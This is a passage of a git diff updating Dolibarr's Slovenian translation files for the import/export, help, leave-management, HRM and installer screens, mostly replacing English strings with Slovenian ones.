      If the header lines are NOT omitted, this will result in multiple errors in the Import Simulation. -KeepEmptyToGoToEndOfFile=Keep this field empty to process all lines to the end of the file. -SelectPrimaryColumnsForUpdateAttempt=Select column(s) to use as primary key for an UPDATE import -UpdateNotYetSupportedForThisImport=Update is not supported for this type of import (only insert) -NoUpdateAttempt=No update attempt was performed, only insert -ImportDataset_user_1=Users (employees or not) and properties -ComputedField=Computed field +ExportDateFilter=LLLL, LLLLMM, LLLLMMDD: filtrira po enem letu/mesecu/dnevu
      LLLL+LLLL, LLLLMM+LLLLMM, LLLLMMDD+LLLLMMDD: filtrira po razponu let/mesecev/dnevov
      > LLLL, > LLLLMM, > filtriranje vseh LLLLMMDDs naslednja leta/meseci/dnevi
      < LLLL, < LLLLMM, < LLLLMMDD: filtrira vsa prejšnja leta/mesece/dneve +ExportNumericFilter=NNNNN filtrira po eni vrednosti
      NNNNN+NNNNN filtrira po razponu vrednosti
      < NNNNN filtrira po nižjih vrednostih
      > NNNNN filtrira po višjih vrednostih +ImportFromLine=Uvoz začenši s številko vrstice +EndAtLineNb=Konec pri številki vrstice +ImportFromToLine=Omejitev obsega (od - do). Npr. da izpustite vrstico(e) glave. +SetThisValueTo2ToExcludeFirstLine=To vrednost na primer nastavite na 3, da izključite prvi 2 vrstici.
      Če vrstice glave NISO izpuščene, bo to povzročilo več napak v simulaciji uvoza. +KeepEmptyToGoToEndOfFile=To polje naj bo prazno za obdelavo vseh vrstic do konca datoteke. +SelectPrimaryColumnsForUpdateAttempt=Izberite stolpce, ki jih želite uporabiti kot primarni ključ za uvoz UPDATE +UpdateNotYetSupportedForThisImport=Posodobitev ni podprta za to vrsto uvoza (samo vstavljanje) +NoUpdateAttempt=Izveden ni bil noben poskus posodobitve, le vstavljanje +ImportDataset_user_1=Uporabniki (zaposleni ali ne) in lastnosti +ComputedField=Računalniško polje ## filters SelectFilterFields=Če želite filtrirati po nekaterih vrednostih, jih vnesite tukaj FilteredFields=Filtrirana polja FilteredFieldsValues=Vrednost za filter FormatControlRule=Pravilo za kontrolo formata ## imports updates -KeysToUseForUpdates=Key (column) to use for updating existing data -NbInsert=Number of inserted lines: %s -NbUpdate=Number of updated lines: %s -MultipleRecordFoundWithTheseFilters=Multiple records have been found with these filters: %s -StocksWithBatch=Stocks and location (warehouse) of products with batch/serial number +KeysToUseForUpdates=Ključ (stolpec) za posodabljanje obstoječih podatkov +NbInsert=Število vstavljenih vrstic: %s +NbInsertSim=Število vrstic, ki bodo vstavljene: %s +NbUpdate=Število posodobljenih vrstic: %s +NbUpdateSim=Število vrstic, ki bodo posodobljene: %s +MultipleRecordFoundWithTheseFilters=S temi filtri je bilo najdenih več zapisov: %s +StocksWithBatch=Zaloge in lokacija (skladišče) izdelkov s serijsko/serijsko številko +WarningFirstImportedLine=Prve vrstice ne bodo uvožene s trenutno izbiro +NotUsedFields=Polja baze podatkov niso uporabljena +SelectImportFieldsSource = Izberite polja izvorne datoteke, ki jih želite uvoziti, in njihova ciljna polja v zbirki podatkov tako, da izberete polja v vsakem izbirnem polju, ali pa izberite vnaprej določen uvozni profil: +MandatoryTargetFieldsNotMapped=Nekatera obvezna ciljna polja niso preslikana +AllTargetMandatoryFieldsAreMapped=Vsa ciljna polja, ki potrebujejo obvezno vrednost, so preslikana +ResultOfSimulationNoError=Rezultat simulacije: Ni napake diff --git a/htdocs/langs/sl_SI/help.lang b/htdocs/langs/sl_SI/help.lang index 2a512534f2c..359d16f57ad 100644 --- a/htdocs/langs/sl_SI/help.lang +++ b/htdocs/langs/sl_SI/help.lang @@ -1,23 +1,23 @@ # Dolibarr language file - Source file is en_US - help CommunitySupport=Forum/Wiki podpora EMailSupport=E-mail podpora -RemoteControlSupport=Direktna Online podpora na daljavo v realnem času +RemoteControlSupport=Spletna podpora v realnem času/na daljavo OtherSupport=Ostale podpore ToSeeListOfAvailableRessources=Za kontakt/ogled virov, ki so na voljo: -HelpCenter=Center za pomoč -DolibarrHelpCenter=Dolibarr Help and Support Center -ToGoBackToDolibarr=Otherwise, click here to continue to use Dolibarr. -TypeOfSupport=Type of support +HelpCenter=Center pomoči +DolibarrHelpCenter=Center za pomoč in podporo Dolibarr +ToGoBackToDolibarr=V nasprotnem primeru kliknite tukaj, če želite še naprej uporabljati Dolibarr . +TypeOfSupport=Vrsta podpore TypeSupportCommunauty=Skupnost (brezplačno) TypeSupportCommercial=Komercialni TypeOfHelp=Tip -NeedHelpCenter=Need help or support? +NeedHelpCenter=Potrebujete pomoč ali podporo? Efficiency=Učinkovitost TypeHelpOnly=Samo pomoč TypeHelpDev=Pomoč+razvoj -TypeHelpDevForm=Help+Development+Training -BackToHelpCenter=Otherwise, go back to Help center home page. -LinkToGoldMember=You can call one of the trainers preselected by Dolibarr for your language (%s) by clicking their Widget (status and maximum price are automatically updated): +TypeHelpDevForm=Pomoč+Razvoj+Usposabljanje +BackToHelpCenter=V nasprotnem primeru se vrnite na domačo stran centra za pomoč . +LinkToGoldMember=Pokličete lahko enega od trenerjev, ki jih je Dolibarr vnaprej izbral za vaš jezik (%s), tako da kliknete njihov pripomoček (stanje in najvišja cena se samodejno posodobita): PossibleLanguages=Podprti jeziki -SubscribeToFoundation=Help the Dolibarr project, subscribe to the foundation -SeeOfficalSupport=Za uradno Dolibarr podporo v vašem jeziku:
      %s +SubscribeToFoundation=Pomagajte projektu Dolibarr, naročite se na fundacijo +SeeOfficalSupport=Za uradno podporo Dolibarr v vašem jeziku:
      %s diff --git a/htdocs/langs/sl_SI/holiday.lang b/htdocs/langs/sl_SI/holiday.lang index 2f664b4b125..ea3cc336e48 100644 --- a/htdocs/langs/sl_SI/holiday.lang +++ b/htdocs/langs/sl_SI/holiday.lang @@ -1,10 +1,12 @@ # Dolibarr language file - Source file is en_US - holiday HRM=HRM -Holidays=Leave -CPTitreMenu=Leave +Holidays=listi +Holiday=Pusti +CPTitreMenu=Pusti MenuReportMonth=Mesečno stanje MenuAddCP=Nov zahtevek za dopust -NotActiveModCP=You must enable the module Leave to view this page. +MenuCollectiveAddCP=Nova zahteva za kolektivni dopust +NotActiveModCP=Za ogled te strani morate omogočiti modul Zapusti. AddCP=Izdelaj zahtevek za dopust DateDebCP=Začetni datum DateFinCP=Končni datum @@ -13,21 +15,21 @@ ToReviewCP=Čaka odobritev ApprovedCP=Odobreno CancelCP=Preklicano RefuseCP=Zavrnjeno -ValidatorCP=Approver -ListeCP=List of leave +ValidatorCP=Odobritelj +ListeCP=Seznam dopustov Leave=Zahtevek za dopust -LeaveId=Leave ID -ReviewedByCP=Will be approved by -UserID=User ID -UserForApprovalID=User for approval ID -UserForApprovalFirstname=First name of approval user -UserForApprovalLastname=Last name of approval user -UserForApprovalLogin=Login of approval user +LeaveId=Pusti ID +ReviewedByCP=Bo odobril +UserID=Uporabniško ime +UserForApprovalID=ID uporabnika za odobritev +UserForApprovalFirstname=Ime uporabnika odobritve +UserForApprovalLastname=Priimek uporabnika odobritve +UserForApprovalLogin=Prijava uporabnika odobritve DescCP=Opis SendRequestCP=Ustvari zahtevek za dopust DelayToRequestCP=Zahtevek za dopust mora biti vložen vsaj %s dan(dni) prej. -MenuConfCP=Balance of leave -SoldeCPUser=Leave balance (in days) %s +MenuConfCP=Bilanca dopusta +SoldeCPUser=Pusti stanje (v dnevih) %s ErrorEndDateCP=Končni datum mora biti večji od začetnega. ErrorSQLCreateCP=Pri ustvarjanju SQL je prišlo do napake ErrorIDFicheCP=Prišlo je do napake, zahtevek za dopust ne obstaja @@ -36,16 +38,16 @@ ErrorUserViewCP=Nimate dovoljenja za branje tega zahtevka za dopust InfosWorkflowCP=Pretok informacij RequestByCP=Zahteval TitreRequestCP=Zahtevek za dopust -TypeOfLeaveId=Type of leave ID -TypeOfLeaveCode=Type of leave code -TypeOfLeaveLabel=Type of leave label -NbUseDaysCP=Number of days of leave used -NbUseDaysCPHelp=The calculation takes into account the non-working days and the holidays defined in the dictionary. -NbUseDaysCPShort=Days of leave -NbUseDaysCPShortInMonth=Days of leave in month -DayIsANonWorkingDay=%s is a non-working day -DateStartInMonth=Start date in month -DateEndInMonth=End date in month +TypeOfLeaveId=ID vrste dopusta +TypeOfLeaveCode=Šifra vrste dopusta +TypeOfLeaveLabel=Oznaka vrste dopusta +NbUseDaysCP=Število dni izkoriščenega dopusta +NbUseDaysCPHelp=Pri izračunu so upoštevani dela prosti dnevi in prazniki opredeljeni v slovarju. +NbUseDaysCPShort=Dnevi dopusta +NbUseDaysCPShortInMonth=Dnevi dopusta v mesecu +DayIsANonWorkingDay=%s je dela prost dan +DateStartInMonth=Začetni datum v mesecu +DateEndInMonth=Končni datum v mesecu EditCP=Uredi DeleteCP=Izbriši ActionRefuseCP=Zavrnitev @@ -55,7 +57,8 @@ TitleDeleteCP=Brisanje zahtevka za dopust ConfirmDeleteCP=Potrditev izbrisa tega zahtevka za dopust? ErrorCantDeleteCP=Napaka, nimate pravice za brisanje tega zahtevka za dopust. CantCreateCP=Nimate dovoljenja za izdelavo zahtevka za dopust -InvalidValidatorCP=You must choose the approver for your leave request. +InvalidValidatorCP=Za svojo prošnjo za dopust morate izbrati odobritelja. +InvalidValidator=Izbrani uporabnik ni odobritelj. NoDateDebut=Izbrati morate začetni datum. NoDateFin=Izbrati morate končni datum. ErrorDureeCP=Vaš zahtevek za dopust ne vsebuje delovnih dni. @@ -74,38 +77,47 @@ DateRefusCP=Datum zavrnitve DateCancelCP=Datum preklica DefineEventUserCP=Dodeli izredno odsotnost uporabniku addEventToUserCP=Dodeli odsotnost -NotTheAssignedApprover=You are not the assigned approver +NotTheAssignedApprover=Niste dodeljeni odobritelj MotifCP=Razlog UserCP=Uporabnik ErrorAddEventToUserCP=Prišlo je do napake pri dodajanju izredne odsotnosti. AddEventToUserOkCP=Dodajanje izredne odsotnosti je zaključeno. +ErrorFieldRequiredUserOrGroup=Polje "skupina" ali "uporabnik" mora biti izpolnjeno +fusionGroupsUsers=Polje skupin in polje uporabnika bosta združena MenuLogCP=Glej dnevnik sprememb -LogCP=Log of all updates made to "Balance of Leave" -ActionByCP=Updated by -UserUpdateCP=Updated for +LogCP=Dnevnik vseh posodobitev "Stanja dopusta" +ActionByCP=Posodobil +UserUpdateCP=Posodobljeno za PrevSoldeCP=Prejšnje stanje NewSoldeCP=Novo stanje alreadyCPexist=Zahtevek za dopust za to obdobje je bil že vložen. -FirstDayOfHoliday=Beginning day of leave request -LastDayOfHoliday=Ending day of leave request -BoxTitleLastLeaveRequests=Latest %s modified leave requests +UseralreadyCPexist=Zahtevek za dopust je bil v tem obdobju že vložen za %s. +groups=Skupine +users=Uporabniki +AutoSendMail=Samodejno pošiljanje po pošti +NewHolidayForGroup=Nova zahteva za kolektivni dopust +SendRequestCollectiveCP=Pošlji prošnjo za kolektivni dopust +AutoValidationOnCreate=Samodejna validacija +FirstDayOfHoliday=Začetni dan prošnje za dopust +LastDayOfHoliday=Končni dan prošnje za dopust +BoxTitleLastLeaveRequests=Najnovejše %s spremenjene prošnje za dopust HolidaysMonthlyUpdate=Mesečna posodobitev ManualUpdate=Ročna posodobitev HolidaysCancelation=Preklic zahtevka za dopust -EmployeeLastname=Employee last name -EmployeeFirstname=Employee first name -TypeWasDisabledOrRemoved=Leave type (id %s) was disabled or removed -LastHolidays=Latest %s leave requests -AllHolidays=All leave requests -HalfDay=Half day -NotTheAssignedApprover=You are not the assigned approver -LEAVE_PAID=Paid vacation -LEAVE_SICK=Sick leave -LEAVE_OTHER=Other leave -LEAVE_PAID_FR=Paid vacation +EmployeeLastname=Priimek zaposlenega +EmployeeFirstname=Ime zaposlenega +TypeWasDisabledOrRemoved=Vrsta dopusta (id %s) je bila onemogočena ali odstranjena +LastHolidays=Najnovejše %s prošnje za dopust +AllHolidays=Vse prošnje za dopust +HalfDay=Poldnevni +NotTheAssignedApprover=Niste dodeljeni odobritelj +LEAVE_PAID=Plačan dopust +LEAVE_SICK=Bolniška odsotnost +LEAVE_OTHER=Drugi dopust +LEAVE_PAID_FR=Plačan dopust ## Configuration du Module ## -LastUpdateCP=Last automatic update of leave allocation -MonthOfLastMonthlyUpdate=Month of last automatic update of leave allocation +LastUpdateCP=Zadnja samodejna posodobitev dodelitve dopusta +MonthOfLastMonthlyUpdate=Mesec zadnje samodejne posodobitve dodelitve dopusta UpdateConfCPOK=Uspešno posodobljeno. Module27130Name= Upravljanje zahtevkov za dopust Module27130Desc= Upravljanje zahtevkov za dopust @@ -115,25 +127,32 @@ NoticePeriod=Čas za odobritev HolidaysToValidate=Potrdi zahtevke za dopust HolidaysToValidateBody=Spodaj je zahtevek za potrditev dopustov HolidaysToValidateDelay=Ta zahtevek za dopust se bo izvedel v obdobju manj kot %s dni. -HolidaysToValidateAlertSolde=The user who made this leave request does not have enough available days. +HolidaysToValidateAlertSolde=Uporabnik, ki je vložil to prošnjo za dopust, nima dovolj prostih dni. HolidaysValidated=Potrjeni zahtevki za dopust HolidaysValidatedBody=Vaš zahtevek za dopust od %s do %s je bil potrjen. HolidaysRefused=Zahtevek je bil zavrnjen -HolidaysRefusedBody=Your leave request for %s to %s has been denied for the following reason: +HolidaysRefusedBody=Vaša zahteva za dopust za %s do %s je bila zavrnjena zaradi naslednjega razloga: HolidaysCanceled=Preklican zahtevek za dopust HolidaysCanceledBody=Vaš zahtevek za dopust od %s do %s je bil preklican. -FollowedByACounter=1: This type of leave need to be followed by a counter. Counter is incremented manually or automatically and when a leave request is validated, counter is decremented.
      0: Not followed by a counter. -NoLeaveWithCounterDefined=There is no leave types defined that need to be followed by a counter -GoIntoDictionaryHolidayTypes=Go into Home - Setup - Dictionaries - Type of leave to setup the different types of leaves. -HolidaySetup=Setup of module Leave -HolidaysNumberingModules=Numbering models for leave requests -TemplatePDFHolidays=Template for leave requests PDF -FreeLegalTextOnHolidays=Free text on PDF -WatermarkOnDraftHolidayCards=Watermarks on draft leave requests -HolidaysToApprove=Holidays to approve -NobodyHasPermissionToValidateHolidays=Nobody has permission to validate holidays -HolidayBalanceMonthlyUpdate=Monthly update of holiday balance -XIsAUsualNonWorkingDay=%s is usualy a NON working day -BlockHolidayIfNegative=Block if balance negative -LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative -ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Leave request %s must be draft, canceled or refused to be deleted +FollowedByACounter=1: Tej vrsti dopusta mora slediti števec. Števec se povečuje ročno ali samodejno in ko je zahteva za dopust potrjena, se števec zmanjša.
      0: števcu ne sledi. +NoLeaveWithCounterDefined=Ni določenih vrst dopustov, ki bi jim moral slediti števec +GoIntoDictionaryHolidayTypes=Pojdite na Domov - Nastavitve - Slovarji - Vrsta dopusta za nastavitev različnih vrst listov. +HolidaySetup=Nastavitev modula Odhod +HolidaysNumberingModules=Modeli številčenja prošenj za dopust +TemplatePDFHolidays=Predloga za prošnje za dopust PDF +FreeLegalTextOnHolidays=Brezplačno besedilo v PDF-ju +WatermarkOnDraftHolidayCards=Vodni žigi na osnutkih prošenj za dopust +HolidaysToApprove=Počitnice za odobritev +NobodyHasPermissionToValidateHolidays=Nihče nima dovoljenja za potrjevanje dopustov +HolidayBalanceMonthlyUpdate=Mesečno posodabljanje dopustniškega stanja +XIsAUsualNonWorkingDay=%s je običajno NEdelovni dan +BlockHolidayIfNegative=Blokiraj, če je stanje negativno +LeaveRequestCreationBlockedBecauseBalanceIsNegative=Ustvarjanje te zahteve za dopust je blokirano, ker je vaše stanje negativno +ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Zahteva za dopust %s mora biti osnutek, preklicana ali zavrnjena, da se izbriše +IncreaseHolidays=Povečajte dopust +HolidayRecordsIncreased= %s Počitniški rekordi so se povečali +HolidayRecordIncreased=Praznični rekord se je povečal +ConfirmMassIncreaseHoliday=Večje povečanje dopusta +NumberDayAddMass=Število dneva, ki ga želite dodati izboru +ConfirmMassIncreaseHolidayQuestion=Ali ste prepričani, da želite povečati dopust izbranih zapisov %s? +HolidayQtyNotModified=Stanje preostalih dni za %s ni bilo spremenjeno diff --git a/htdocs/langs/sl_SI/hrm.lang b/htdocs/langs/sl_SI/hrm.lang index 8cf59c08431..993b1297124 100644 --- a/htdocs/langs/sl_SI/hrm.lang +++ b/htdocs/langs/sl_SI/hrm.lang @@ -2,80 +2,91 @@ # Admin -HRM_EMAIL_EXTERNAL_SERVICE=Email to prevent HRM external service -Establishments=Establishments -Establishment=Establishment -NewEstablishment=New establishment -DeleteEstablishment=Delete establishment -ConfirmDeleteEstablishment=Are you sure you wish to delete this establishment? -OpenEtablishment=Open establishment -CloseEtablishment=Close establishment +HRM_EMAIL_EXTERNAL_SERVICE=E-pošta za preprečevanje zunanje storitve HRM +Establishments=Ustanove +Establishment=Ustanovitev +NewEstablishment=Nova ustanova +DeleteEstablishment=Izbriši obrat +ConfirmDeleteEstablishment=Ali ste prepričani, da želite izbrisati to ustanovo? +OpenEtablishment=Odprta ustanova +CloseEtablishment=Zapri obrat # Dictionary -DictionaryPublicHolidays=Leave - Public holidays -DictionaryDepartment=HRM - Department list -DictionaryFunction=HRM - Job positions +DictionaryPublicHolidays=Dopust – državni prazniki +DictionaryDepartment=HRM - Organizacijska enota +DictionaryFunction=HRM - Delovna mesta # Module -Employees=Employees +Employees=Zaposleni Employee=Zaposleni -NewEmployee=New employee -ListOfEmployees=List of employees -HrmSetup=HRM module setup -HRM_MAXRANK=Maximum rank for a skill -HRM_DEFAULT_SKILL_DESCRIPTION=Default description of ranks when skill is created +NewEmployee=Nov zaposleni +ListOfEmployees=Seznam zaposlenih +HrmSetup=Nastavitev HRM modula +SkillsManagement=Upravljanje spretnosti +HRM_MAXRANK=Največje število stopenj za rangiranje spretnosti +HRM_DEFAULT_SKILL_DESCRIPTION=Privzeti opis uvrstitev, ko je spretnost ustvarjena deplacement=Shift -DateEval=Evaluation date -JobCard=Job card -Job=Naloga -Jobs=Jobs -NewSkill=New Skill -SkillType=Skill type -Skilldets=List of ranks for this skill -Skilldet=Skill level +DateEval=Datum ocenjevanja +JobCard=Zaposlitvena kartica +JobPosition=Delovni profil +JobsPosition=Delovni profili +NewSkill=Nova spretnost +SkillType=Vrsta spretnosti +Skilldets=Seznam uvrstitev za to veščino +Skilldet=Raven spretnosti rank=Rank -ErrNoSkillSelected=No skill selected -ErrSkillAlreadyAdded=This skill is already in the list -SkillHasNoLines=This skill has no lines -skill=Skill -Skills=Skills -SkillCard=Skill card -EmployeeSkillsUpdated=Employee skills have been updated (see "Skills" tab of employee card) -Eval=Evaluation -Evals=Evaluations -NewEval=New evaluation -ValidateEvaluation=Validate evaluation -ConfirmValidateEvaluation=Are you sure you want to validate this evaluation with reference %s? -EvaluationCard=Evaluation card -RequiredRank=Required rank for this job -EmployeeRank=Employee rank for this skill -Position=Položaj -Positions=Positions -PositionCard=Position card -EmployeesInThisPosition=Employees in this position -group1ToCompare=Usergroup to analyze -group2ToCompare=Second usergroup for comparison -OrJobToCompare=Compare to job skills requirements +ErrNoSkillSelected=Izbrana ni nobena spretnost +ErrSkillAlreadyAdded=Ta veščina je že na seznamu +SkillHasNoLines=Ta veščina nima črt +skill=Spretnost +Skills=Spretnosti +SkillCard=Kartica spretnosti +EmployeeSkillsUpdated=Spretnosti zaposlenih so posodobljene (glejte zavihek »Spretnosti« na kartici zaposlenega) +Eval=Evalvacija +Evals=Ocene +NewEval=Nova ocena +ValidateEvaluation=Potrdite oceno +ConfirmValidateEvaluation=Ali ste prepričani, da želite potrditi to oceno z referenco %s ? +EvaluationCard=Ocenjevalna kartica +RequiredRank=Zahtevan čin za to delovno mesto +EmployeeRank=Uvrstitev zaposlenega za to veščino +EmployeePosition=Položaj zaposlenega +EmployeePositions=Položaji zaposlenih +EmployeesInThisPosition=Zaposleni na tem položaju +group1ToCompare=Uporabniška skupina za analizo +group2ToCompare=Druga uporabniška skupina za primerjavo +OrJobToCompare=Primerjajte z zahtevami po poklicnih spretnostih difference=Razlika -CompetenceAcquiredByOneOrMore=Competence acquired by one or more users but not requested by the second comparator -MaxlevelGreaterThan=Max level greater than the one requested -MaxLevelEqualTo=Max level equal to that demand -MaxLevelLowerThan=Max level lower than that demand -MaxlevelGreaterThanShort=Employee level greater than the one requested -MaxLevelEqualToShort=Employee level equals to that demand -MaxLevelLowerThanShort=Employee level lower than that demand -SkillNotAcquired=Skill not acquired by all users and requested by the second comparator +CompetenceAcquiredByOneOrMore=Usposobljenost, ki jo je pridobil en ali več uporabnikov, vendar je ni zahteval drugi primerjalnik +MaxlevelGreaterThan=Največja raven je višja od zahtevane +MaxLevelEqualTo=Največja raven je enaka temu povpraševanju +MaxLevelLowerThan=Najvišja raven nižja od tega povpraševanja +MaxlevelGreaterThanShort=Raven zaposlenega je višja od zahtevane +MaxLevelEqualToShort=Raven zaposlenih je enaka temu povpraševanju +MaxLevelLowerThanShort=Raven zaposlenih nižja od tega povpraševanja +SkillNotAcquired=Spretnosti, ki je niso pridobili vsi uporabniki, zahteva pa jo drugi primerjalnik legend=Legenda -TypeSkill=Skill type -AddSkill=Add skills to job -RequiredSkills=Required skills for this job -UserRank=User Rank -SkillList=Skill list -SaveRank=Save rank -knowHow=Know how -HowToBe=How to be -knowledge=Knowledge -AbandonmentComment=Abandonment comment -DateLastEval=Date last evaluation -NoEval=No evaluation done for this employee -HowManyUserWithThisMaxNote=Number of users with this rank -HighestRank=Highest rank -SkillComparison=Skill comparison +TypeSkill=Vrsta spretnosti +AddSkill=Delu dodajte veščine +RequiredSkills=Zahtevane veščine za to delo +UserRank=Uporabniški rang +SkillList=Seznam spretnosti +SaveRank=Shrani uvrstitev +TypeKnowHow=Veš kako +TypeHowToBe=Kako biti +TypeKnowledge=znanje +AbandonmentComment=Komentar o opustitvi +DateLastEval=Datum zadnje ocene +NoEval=Za tega zaposlenega ni bila opravljena nobena ocena +HowManyUserWithThisMaxNote=Število uporabnikov s tem rangom +HighestRank=Najvišji čin +SkillComparison=Primerjava spretnosti +ActionsOnJob=Dogodki na tem delovnem mestu +VacantPosition=delovno mesto +VacantCheckboxHelper=Če označite to možnost, bodo prikazana nezasedena delovna mesta (prosto delovno mesto) +SaveAddSkill = Spretnosti so dodane +SaveLevelSkill = Raven spretnosti je shranjena +DeleteSkill = Spretnost odstranjena +SkillsExtraFields=Attributs supplémentaires (Compétences) +JobsExtraFields=Attributs supplémentaires (Emplois) +EvaluationsExtraFields=Attributs supplémentaires (Ocene) +NeedBusinessTravels=Potrebujete poslovna potovanja +NoDescription=brez opisa diff --git a/htdocs/langs/sl_SI/install.lang b/htdocs/langs/sl_SI/install.lang index 87bd5fa646d..90b6b327654 100644 --- a/htdocs/langs/sl_SI/install.lang +++ b/htdocs/langs/sl_SI/install.lang @@ -2,36 +2,36 @@ InstallEasy=Sledite navodilom korak za korakom. MiscellaneousChecks=Kontrola pogojev ConfFileExists=Konfiguracijska datoteka %s že obstaja. -ConfFileDoesNotExistsAndCouldNotBeCreated=Configuration file %s does not exist and could not be created! +ConfFileDoesNotExistsAndCouldNotBeCreated=Konfiguracijska datoteka %s ne obstaja in je ni bilo mogoče ustvariti! ConfFileCouldBeCreated=Konfiguracijska datoteka %s se lahko kreira. -ConfFileIsNotWritable=Configuration file %s is not writable. Check permissions. For first install, your web server must be able to write into this file during configuration process ("chmod 666" for example on a Unix like OS). +ConfFileIsNotWritable=Konfiguracijske datoteke %s ni mogoče zapisovati. Preverite dovoljenja. Pri prvi namestitvi mora imeti vaš spletni strežnik možnost pisanja v to datoteko med postopkom konfiguracije (»chmod 666« na primer v OS, podobnem Unixu). ConfFileIsWritable=V konfiguracijsko datoteka %s je možno zapisovanje. -ConfFileMustBeAFileNotADir=Configuration file %s must be a file, not a directory. -ConfFileReload=Reloading parameters from configuration file. -NoReadableConfFileSoStartInstall=The configuration file conf/conf.php does not exists or is not readable. We will run the installation process to try to initialize it. +ConfFileMustBeAFileNotADir=Konfiguracijska datoteka %s mora biti datoteka in ne imenik. +ConfFileReload=Ponovno nalaganje parametrov iz konfiguracijske datoteke. +NoReadableConfFileSoStartInstall=Konfiguracijska datoteka conf/conf.php ne obstaja ali pa ni berljiva. Zagnali bomo postopek namestitve, da ga poskusimo inicializirati. PHPSupportPOSTGETOk=Ta PHP podpira spremenljivke POST in GET. -PHPSupportPOSTGETKo=It's possible your PHP setup does not support variables POST and/or GET. Check the parameter variables_order in php.ini. +PHPSupportPOSTGETKo=Možno je, da vaše nastavitve PHP ne podpirajo spremenljivk POST in/ali GET. Preverite parameter variables_order v php.ini. PHPSupportSessions=Ta PHP podpira seje. -PHPSupport=This PHP supports %s functions. +PHPSupport=Ta PHP podpira funkcije %s. PHPMemoryOK=Maksimalni spomin za sejo vašega PHP je nastavljen na %s. To bi moralo zadoščati. -PHPMemoryTooLow=Your PHP max session memory is set to %s bytes. This is too low. Change your php.ini to set memory_limit parameter to at least %s bytes. -Recheck=Click here for a more detailed test -ErrorPHPDoesNotSupportSessions=Your PHP installation does not support sessions. This feature is required to allow Dolibarr to work. Check your PHP setup and permissions of the sessions directory. -ErrorPHPDoesNotSupport=Your PHP installation does not support %s functions. +PHPMemoryTooLow=Vaš največji pomnilnik PHP seje je nastavljen na %s bajtov. To je prenizko. Spremenite svoj php.ini , da nastavite parameter memory_limit na vsaj %s +Recheck=Kliknite tukaj za podrobnejši test +ErrorPHPDoesNotSupportSessions=Vaša namestitev PHP ne podpira sej. Ta funkcija je potrebna, da lahko Dolibarr deluje. Preverite nastavitve PHP in dovoljenja za imenik sej. +ErrorPHPDoesNotSupport=Vaša namestitev PHP ne podpira funkcij %s. ErrorDirDoesNotExists=Mapa %s ne obstaja. -ErrorGoBackAndCorrectParameters=Go back and check/correct the parameters. +ErrorGoBackAndCorrectParameters=Vrnite se nazaj in preverite/popravite parametre. ErrorWrongValueForParameter=Morda ste vnesli napačno vrednost parametra '%s'. ErrorFailedToCreateDatabase=Neuspešno kreiranje baze podatkov '%s'. ErrorFailedToConnectToDatabase=Neuspešna povezava z bazo podatkov '%s'. ErrorDatabaseVersionTooLow=Verzija baze podatkov (%s) je prestara. Zahtevana je verzija %s ali novejša. -ErrorPHPVersionTooLow=PHP version too old. Version %s or higher is required. -ErrorPHPVersionTooHigh=PHP version too high. Version %s or lower is required. -ErrorConnectedButDatabaseNotFound=Connection to server successful but database '%s' not found. +ErrorPHPVersionTooLow=Različica PHP je prestara. Zahtevana je različica %s ali novejša. +ErrorPHPVersionTooHigh=Različica PHP je previsoka. Zahtevana je različica %s ali nižja. +ErrorConnectedButDatabaseNotFound=Povezava s strežnikom je bila uspešna, vendar baze podatkov '%s' ni mogoče najti. ErrorDatabaseAlreadyExists=Baza podatkov '%s' že obstaja. -ErrorNoMigrationFilesFoundForParameters=No migration file found for the selected versions -IfDatabaseNotExistsGoBackAndUncheckCreate=If the database does not exist, go back and check option "Create database". +ErrorNoMigrationFilesFoundForParameters=Za izbrane različice ni bilo mogoče najti datoteke za selitev +IfDatabaseNotExistsGoBackAndUncheckCreate=Če baza podatkov ne obstaja, se vrnite nazaj in označite možnost "Ustvari bazo podatkov". IfDatabaseExistsGoBackAndCheckCreate=Če baza podatkov že obstaja, se vrnite nazaj in odznačite opcijo "Ustvari bazo podatkov". -WarningBrowserTooOld=Version of browser is too old. Upgrading your browser to a recent version of Firefox, Chrome or Opera is highly recommended. +WarningBrowserTooOld=Različica brskalnika je prestara. Zelo priporočljivo je, da svoj brskalnik nadgradite na najnovejšo različico Firefoxa, Chroma ali Opere. PHPVersion=PHP Verzija License=Uporablja licenco ConfigurationFile=Konfiguracijska datoteka @@ -44,23 +44,22 @@ DolibarrDatabase=Dolibarr baza podatkov DatabaseType=Tip baze podatkov DriverType=Tip gonilnika Server=Strežnik -ServerAddressDescription=Name or ip address for the database server. Usually 'localhost' when the database server is hosted on the same server as the web server. +ServerAddressDescription=Ime ali naslov IP za strežnik baze podatkov. Običajno 'localhost', ko strežnik baze podatkov gostuje na istem strežniku kot spletni strežnik. ServerPortDescription=Vrata strežnika baze podatkov. Če niso znana, pustite prazno. DatabaseServer=Strežnik za bazo podatkov DatabaseName=Ime baze podatkov -DatabasePrefix=Database table prefix -DatabasePrefixDescription=Database table prefix. If empty, defaults to llx_. -AdminLogin=User account for the Dolibarr database owner. -PasswordAgain=Retype password confirmation +DatabasePrefix=Predpona tabele baze podatkov +DatabasePrefixDescription=Predpona tabele baze podatkov. Če je prazno, je privzeto llx_. +AdminLogin=Uporabniški račun za lastnika baze podatkov Dolibarr. AdminPassword=Geslo za lastnika Dolibarr baze podatkov. CreateDatabase=Ustvari bazo podatkov -CreateUser=Create user account or grant user account permission on the Dolibarr database +CreateUser=Ustvarite uporabniški račun ali dodelite dovoljenje za uporabniški račun v bazi podatkov Dolibarr DatabaseSuperUserAccess=Strežnik za bazo podatkov – »Super uporabnik« dostop -CheckToCreateDatabase=Check the box if the database does not exist yet and so must be created.
      In this case, you must also fill in the user name and password for the superuser account at the bottom of this page. -CheckToCreateUser=Check the box if:
      the database user account does not yet exist and so must be created, or
      if the user account exists but the database does not exist and permissions must be granted.
      In this case, you must enter the user account and password and also the superuser account name and password at the bottom of this page. If this box is unchecked, database owner and password must already exist. -DatabaseRootLoginDescription=Superuser account name (to create new databases or new users), mandatory if the database or its owner does not already exist. -KeepEmptyIfNoPassword=Leave empty if superuser has no password (NOT recommended) -SaveConfigurationFile=Saving parameters to +CheckToCreateDatabase=Označite polje, če zbirka podatkov še ne obstaja in jo je treba ustvariti.
      V tem primeru morate vnesti tudi uporabniško ime in geslo za račun superuporabnika na dnu te strani. +CheckToCreateUser=Označite polje, če:
      uporabniški račun baze podatkov še ne obstaja in ga je zato treba ustvariti, ali
